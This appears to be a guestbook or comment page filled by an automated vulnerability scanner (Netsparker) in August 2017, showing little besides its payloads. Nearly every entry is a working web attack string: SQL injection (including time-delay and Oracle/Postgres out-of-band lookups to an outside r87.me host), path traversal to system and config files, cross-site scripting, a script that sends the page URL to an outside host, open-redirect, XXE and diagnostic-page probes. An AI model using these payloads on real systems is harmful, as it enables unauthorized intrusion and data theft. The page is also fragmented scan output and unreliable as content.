http://www.example.com

+

+ 8/23/2017 8:08:27 AM +

+

+ +

+
+

+

+ 8/23/2017 8:08:27 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:27 AM +

+

+ -1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:26 AM +

+

+ /../../../../../../../../../../proc/versionďż˝.aspx +

+
+

WAITFOR DELAY '0:0:25'--

+

+ 8/23/2017 8:08:26 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:26 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:26 AM +

+

+ -1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a) +

+
+

+

+ 8/23/2017 8:08:26 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:26 AM +

+

+ 127.0.0.1/elmah +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:25 AM +

+

+ /../../../../../../../../../../proc/version +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:25 AM +

+

+ ::1/elmah +

+
+

Smith

+

+ 8/23/2017 8:08:25 AM +

+

+ 'AND 1=cast(0x5f21403264696c656d6d61 as varchar(8000)) or '1'=' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:25 AM +

+

+ '+netsparker(0x003E56)+' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:25 AM +

+

+ /../../../../../../../../../../var/log/apache/error.log +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:24 AM +

+

+ netsparker(0x003E54); +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:24 AM +

+

+ /../../../../../../../../../../var/log/apache2/error.log +

+
+

1 WAITFOR DELAY '0:0:25'--

+

+ 8/23/2017 8:08:24 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:24 AM +

+

+ convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:24 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:24 AM +

+

+ netsparker(0x003E52) +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:24 AM +

+

+ /../../../../../../../../../../etc/httpd/logs/error_log +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:24 AM +

+

+ 127.100.11.2/elmah +

+
+

Smith

+

+ 8/23/2017 8:08:23 AM +

+

+ '+ (select convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +' +

+
+

"+gethostbyname(trim('o010_rdnxuzq7qo7pydxgmnhzse_kgjmgziils9m'.'jwe.r87.me'))+"

+

+ 8/23/2017 8:08:23 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:23 AM +

+

+ +

+
+

' WAITFOR DELAY '0:0:25'--

+

+ 8/23/2017 8:08:23 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:23 AM +

+

+ 54.204.37.212/elmah +

+
+

Smith

+

+ 8/23/2017 8:08:23 AM +

+

+ (select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +

+
+

"+gethostbyname(trim('o010_rdnxufondmf8mxmraqqbef599semzo1qzka'.'hew.r87.me'))+"

+

+ 8/23/2017 8:08:22 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:22 AM +

+

+ testsparker.com/elmah +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:22 AM +

+

+ /../../../../../../../../../../etc/httpd/logs/error.log +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:22 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:22 AM +

+

+ %27 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:22 AM +

+

+ http://testsparker.com/elmah +

+
+

'+gethostbyname(trim('o010_rdnxujk-xulmgbzrj_8wlm6jihs9v8v3gmv'.'isu.r87.me'))+'

+

+ 8/23/2017 8:08:21 AM +

+

+ +

+
+

';l=document.createElement("link");l.rel="prefetch";l.href="//o010_rdnxuauehqbdj08dzofhtepdxmdqqsesxlz"+"itg.r87.me/r/?"+location.href;document.head.appendChild(l);//

+

+ 8/23/2017 8:08:21 AM +

+

+ +

+
+

';l=document.createElement("link");l.rel="prefetch";l.href="//o010_rdnxufmfledms0tqb-1uyw_vpf6mzacya_v"+"nwu.r87.me/r/?"+location.href;document.head.appendChild(l);//

+

+ 8/23/2017 8:08:21 AM +

+

+ +

+
+

'+gethostbyname(trim('o010_rdnxubc6b3rfauci7bvah5bijza6nghslqx'.'vu8.r87.me'))+'

+

+ 8/23/2017 8:08:21 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:21 AM +

+

+ 127.0.0.1/elmah.axd +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:21 AM +

+

+ /../../../../../../../../../../proc/self/fd/2ďż˝.aspx +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:20 AM +

+

+ ',netsparker(0x003E50),' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:20 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:20 AM +

+

+ ' OR 1=1 OR '1'='1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:20 AM +

+

+ /../../../../../../../../../../proc/self/fd/2 +

+
+

Smith

+

+ 8/23/2017 8:08:20 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:20 AM +

+

+ ' OR 1=1 OR '1'='1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:20 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:19 AM +

+

+ OR X='ss +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:19 AM +

+

+ /../../../../../../../../../../windows/iis6.log +

+
+

Smith

+

+ 8/23/2017 8:08:19 AM +

+

+ 1 OR 17-7=10 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:19 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:19 AM +

+

+ ' OR 1=1 OR 'ns'='ns +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:18 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:18 AM +

+

+ AND 'NS='ss +

+
+

+gethostbyname(trim('o010_rdnxuwhgl88bi8g4kouzjeccvmq-c0vskuw'.'kzu.r87.me'));//

+

+ 8/23/2017 8:08:18 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:18 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:18 AM +

+

+ NS +NO +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:18 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:17 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:17 AM +

+

+ +

+
+

+gethostbyname(trim('o010_rdnxuq74jc83y023k8avv9_bl50c1ox1rkp'.'bq0.r87.me'));//

+

+ 8/23/2017 8:08:16 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:16 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:16 AM +

+

+ ' +

+
+

gethostbyname(trim('o010_rdnxuhsrkq3ylfvsy-ievxuw1rbhe6y0sjd'.'atu.r87.me'));

+

+ 8/23/2017 8:08:16 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:16 AM +

+

+ ::1/elmah.axd +

+
+

gethostbyname(trim('o010_rdnxuhny73xk8qwgshpfn2klqe8-mfu5cih'.'1kw.r87.me'));

+

+ 8/23/2017 8:08:16 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:16 AM +

+

+ 1 OR 1=1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:16 AM +

+

+ 127.100.11.2/elmah.axd +

+
+

gethostbyname(trim('o010_rdnxutmd8812f0gy5djglocblsppudzq9yx'.'pc4.r87.me'))

+

+ 8/23/2017 8:08:15 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:15 AM +

+

+ ....//....//....//....//....//....//....//....//....//....//....//windows\win.ini +

+
+

Smith

+

+ 8/23/2017 8:08:15 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:15 AM +

+

+ \';netsparker(0x003E4E);/// +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:15 AM +

+

+ c:\windows\win.ini +

+
+

";l=document.createElement("link");l.rel="prefetch";l.href="//o010_rdnxunuigphpvvkn4amt0hw11kzg3aicg9t"+"lty.r87.me/r/?"+location.href;document.head.appendChild(l);//

+

+ 8/23/2017 8:08:15 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:14 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:14 AM +

+

+ "+netsparker(0x003E4C)+" +

+
+

gethostbyname(trim('o010_rdnxurnl-hzwr_abbig3zxzlxbszllhgf7j'.'xqk.r87.me'))

+

+ 8/23/2017 8:08:14 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:14 AM +

+

+ /../../../../../../../../../../windows/win.iniďż˝.aspx +

+
+

";l=document.createElement("link");l.rel="prefetch";l.href="//o010_rdnxucoe5clqmxxmeebhuyv-ug5nzsrd-hh"+"dhq.r87.me/r/?"+location.href;document.head.appendChild(l);//

+

+ 8/23/2017 8:08:14 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:14 AM +

+

+ file:/windows/win.ini +

+
+

Smith

+

+ 8/23/2017 8:08:13 AM +

+

+ 1 OR 1=1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:13 AM +

+

+ '+netsparker(0x003E4A)+' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:13 AM +

+

+ 54.204.37.212/elmah.axd +

+
+

Smith

+

+ 8/23/2017 8:08:13 AM +

+

+ ' OR 1=1 OR '1'='1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:13 AM +

+

+ /../../../../../../../../../../windows/win.ini +

+
+

Smith

+

+ 8/23/2017 8:08:13 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:13 AM +

+

+ ' OR 1=1 OR '1'='1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:13 AM +

+

+ o010_rdnxurtuqnedkm7atmvcpmyua8haywhucwdoyx.r87.me/p/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:12 AM +

+

+ testsparker.com/elmah.axd +

+
+

+

+ 8/23/2017 8:08:12 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:12 AM +

+

+ /../../../../../../../../../../web.config +

+
+

Smith

+

+ 8/23/2017 8:08:12 AM +

+

+ OR X='ss +

+
+

Smith

+

+ 8/23/2017 8:08:12 AM +

+

+ 1 OR 17-7=10 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:12 AM +

+

+ */netsparker(0x003E48);/* +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:12 AM +

+

+ http://testsparker.com/elmah.axd +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:12 AM +

+

+ c%3a%5cboot.ini +

+
+

Smith

+

+ 8/23/2017 8:08:11 AM +

+

+ ' OR 1=1 OR 'ns'='ns +

+
+

Smith

+

+ 8/23/2017 8:08:11 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:11 AM +

+

+ AND 'NS='ss +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:11 AM +

+

+ file%3a%2fboot.ini +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:11 AM +

+

+ body{x:expression(netsparker(0x003E46))} +

+
+

Smith

+

+ 8/23/2017 8:08:11 AM +

+

+ NS +NO +

+
+

+

+ 8/23/2017 8:08:11 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:10 AM +

+

+ ' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:10 AM +

+

+ n;ns:expression(netsparker(0x003E44)); +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:10 AM +

+

+ php://filter//resource=http://o010_rdnxu9kdfepoeiwpxwju9dydxwr8og6j5kehfb.r87.me/p/ +

+
+

Smith

+

+ 8/23/2017 8:08:10 AM +

+

+ 1 OR 1=1 +

+
+

Smith

+

+ 8/23/2017 8:08:10 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:10 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:09 AM +

+

+ http://o010_rdnxu8r3qe8x1xwizm6w-a2it_y4nacd-oftvx.r87.me/p/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:09 AM +

+

+ 127.0.0.1/trace.axd +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:09 AM +

+

+ %2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini +

+
+

Smith

+

+ 8/23/2017 8:08:09 AM +

+

+ 1 OR 1=1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:09 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:09 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:08 AM +

+

+ <%a style=x:expre/**/ssion(netsparker(0x003E42))> +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:08 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:08 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:08 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:08 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:08 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:07 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:07 AM +

+

+ +

+
+

o010_rdnxua8t29ijj5lcsqcl7xpweyk2i6ljvp96in.r87.me/p/

+

+ 8/23/2017 8:08:07 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:07 AM +

+

+ ::1/trace.axd +

+
+

o010_rdnxu6tcixy-avunkhsze-67jxpjgkl4jksqxh.r87.me/p/

+

+ 8/23/2017 8:08:07 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:07 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:06 AM +

+

+ ns../../../../../../../../../../../boot.ini....................................................................................................................................................................................... +

+
+

Smith

+

+ 8/23/2017 8:08:06 AM +

+

+ +

+
+

php://filter//resource=http://o010_rdnxuu2ie2xhes7eeg9zgowwk3o0idqxj6kon9.r87.me/p/

+

+ 8/23/2017 8:08:06 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:06 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:06 AM +

+

+ javascript:netsparker(0x003E3E) +

+
+

php://filter//resource=http://o010_rdnxufbfzmvyntutgafdsxhw5gr1uxox5yeqjz.r87.me/p/

+

+ 8/23/2017 8:08:06 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:06 AM +

+

+ c:\boot.ini +

+
+

http://o010_rdnxum5-4l2p9tvdmecwn6htpm4dqeunruu3az.r87.me/p/

+

+ 8/23/2017 8:08:06 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:06 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:06 AM +

+

+ +

+
+

+

+ 8/23/2017 8:08:05 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:05 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:05 AM +

+

+ +

+
+

http://o010_rdnxu_3dmwrd8xvoyshzzkya2kvt_ls1wahl3f.r87.me/p/

+

+ 8/23/2017 8:08:05 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:05 AM +

+

+ file:/boot.ini +

+
+

Smith

+

+ 8/23/2017 8:08:05 AM +

+

+ +

+
+

+

+ 8/23/2017 8:08:05 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:04 AM +

+

+ /../../../../../../../../../../boot.ini +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:04 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:04 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:04 AM +

+

+ %dtd;]>&a; +

+
+

Smith

+

+ 8/23/2017 8:08:04 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:04 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:03 AM +

+

+ %dtd;]>&a; +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:03 AM +

+

+ 127.100.11.2/trace.axd +

+
+

Smith

+

+ 8/23/2017 8:08:03 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:03 AM +

+

+ %dtd;]>&a; +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:03 AM +

+

+ /../../../../../../../../../../boot.iniďż˝.aspx +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:03 AM +

+

+ 54.204.37.212/trace.axd +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:03 AM +

+

+ +

+
+

+

+ 8/23/2017 8:08:02 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:02 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:02 AM +

+

+ testsparker.com/trace.axd +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:02 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:02 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:01 AM +

+

+ http://testsparker.com/trace.axd +

+
+

'"-->

+

+ 8/23/2017 8:08:01 AM +

+

+ +

+
+

'"-->

+

+ 8/23/2017 8:08:01 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:01 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:01 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:01 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:00 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:00 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:59 AM +

+

+ "> +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:59 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:59 AM +

+

+ https://testsparker.com.r87.com/? +

+
+

Smith

+

+ 8/23/2017 8:07:59 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:59 AM +

+

+ '> +

+
+

%dtd;]>&a;

+

+ 8/23/2017 8:07:59 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:59 AM +

+

+ +

+
+

%dtd;]>&a;

+

+ 8/23/2017 8:07:58 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:58 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:58 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:58 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:58 AM +

+

+ //r87.com/n/j/?0x003E36 +

+
+

Smith

+

+ 8/23/2017 8:07:57 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:57 AM +

+

+ //r87.com/n/n.css?0x003E34 +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:57 AM +

+

+ http://testsparker.com.r87.com/? +

+
+

Smith

+

+ 8/23/2017 8:07:56 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:56 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:56 AM +

+

+ testsparker.com.r87.com/? +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:56 AM +

+

+ 1 ns=netsparker(0x003E2A) +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:56 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:56 AM +

+

+ +

+
+

%dtd;]>&a;

+

+ 8/23/2017 8:07:56 AM +

+

+ +

+
+

%dtd;]>&a;

+

+ 8/23/2017 8:07:55 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:55 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:55 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:55 AM +

+

+ +

+
+

'+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+'

+

+ 8/23/2017 8:07:55 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:55 AM +

+

+ ///r87.com/?testsparker.com/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:55 AM +

+

+ '" ns=netsparker(0x003E28) +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:55 AM +

+

+ +

+
+

'||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||'

+

+ 8/23/2017 8:07:55 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:54 AM +

+

+ /\r87.com/?testsparker.com/ +

+
+

Smith

+

+ 8/23/2017 8:07:54 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:54 AM +

+

+ /../../../../../../../../../../boot.ini +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:54 AM +

+

+ r87.com/?https://testsparker.com/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:54 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:53 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:53 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:53 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:53 AM +

+

+ data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDAzRTI2KTwvc2NyaXB0Pg== +

+
+

Smith

+

+ 8/23/2017 8:07:53 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:52 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:52 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:52 AM +

+

+ %27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Enetsparker%280x003E24%29%3C%2FscRipt%3E +

+
+

Smith

+

+ 8/23/2017 8:07:52 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:52 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:51 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:51 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:51 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:51 AM +

+

+ '"--> +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:51 AM +

+

+ +

+
+

'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxuyoz3ygz7o3fb-fbmgahlo9g02qfwt7'||'o9q.r87.me') from DUAL))||'

+

+ 8/23/2017 8:07:50 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:50 AM +

+

+ r87.com/?http://testsparker.com/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:50 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:50 AM +

+

+ +

+
+

'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxupwyriz8l3hafztwi5bxtvogbklimak'||'jsg.r87.me') from DUAL))||'

+

+ 8/23/2017 8:07:49 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:49 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:49 AM +

+

+ r87.com/?testsparker.com/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:49 AM +

+

+ "+print localtime()*0+0xFFF9999-22+" +

+
+

(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxupjxsp5b-tc8mrkphwqyrjbysj9dta6'||'mu4.r87.me') from DUAL))))

+

+ 8/23/2017 8:07:49 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:48 AM +

+

+ //r87.com/?http://testsparker.com/ +

+
+

Smith

+

+ 8/23/2017 8:07:48 AM +

+

+ +

+
+

(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxuntiadxvpt2vjilow5dxqk_zgklc92l'||'lga.r87.me') from DUAL))))

+

+ 8/23/2017 8:07:48 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:48 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:48 AM +

+

+ '+print localtime()*0+0xFFF9999-22+' +

+
+

(length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))))

+

+ 8/23/2017 8:07:48 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:48 AM +

+

+ http://r87.com/?testsparker.com/ +

+
+

Smith

+

+ 8/23/2017 8:07:47 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:47 AM +

+

+ eval('print localtime()*0+0xFFF9999-22') +

+
+

(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxu6olwxenayn61zuznzvkpieqw2uxuss'||'zqo.r87.me') from DUAL)

+

+ 8/23/2017 8:07:47 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:47 AM +

+

+ print localtime()*0+0xFFF9999-22 +

+
+

(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxu5bux1l7536c7txqvw2vvoxrdqbr4ju'||'dau.r87.me') from DUAL)

+

+ 8/23/2017 8:07:46 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:46 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:46 AM +

+

+ +

+
+

'||cast((SELECT dblink_connect('host=o010_rdnxuamtijxrh_ua47ll7e6-nc4qrs7wicc'||'wby.r87.me user=a password=a connect_timeout=2')) as numeric)||'

+

+ 8/23/2017 8:07:46 AM +

+

+ +

+
+

'||cast((SELECT dblink_connect('host=o010_rdnxu_0yjiybkjb8gteg5wkotzgoa1zifn1'||'bme.r87.me user=a password=a connect_timeout=2')) as numeric)||'

+

+ 8/23/2017 8:07:46 AM +

+

+ +

+
+

cast((SELECT dblink_connect('host=o010_rdnxuddfqmvhh1jbp6oafwbchqjv2quvajg'||'yru.r87.me user=a password=a connect_timeout=2')) as numeric)

+

+ 8/23/2017 8:07:45 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:45 AM +

+

+ +

+
+

cast((SELECT dblink_connect('host=o010_rdnxugpapkhq8ssuvqftyjaxfcqkladiscr'||'mia.r87.me user=a password=a connect_timeout=2')) as numeric)

+

+ 8/23/2017 8:07:45 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:45 AM +

+

+ http://r87.com/?testsparker.com/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:45 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:45 AM +

+

+ +

+
+

dblink_connect('host=o010_rdnxuzkqd2xzqzomqtyhwubjnsm7qrtw41t'||'hmy.r87.me user=a password=a connect_timeout=2')

+

+ 8/23/2017 8:07:44 AM +

+

+ +

+
+

1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 1

+

+ 8/23/2017 8:07:44 AM +

+

+ +

+
+

dblink_connect('host=o010_rdnxuagjvg0f2rhewf39zzrgsd8gd5a9nzl'||'mxi.r87.me user=a password=a connect_timeout=2')

+

+ 8/23/2017 8:07:44 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:44 AM +

+

+ [php]print(int)0xFFF9999-22;[/php] +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:44 AM +

+

+ +

+
+

SELECT dblink_connect('host=o010_rdnxuvwmotchao5p8ee8yqxr8vb08wancnl'||'zrg.r87.me user=a password=a connect_timeout=2')

+

+ 8/23/2017 8:07:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:43 AM +

+

+ +

+
+

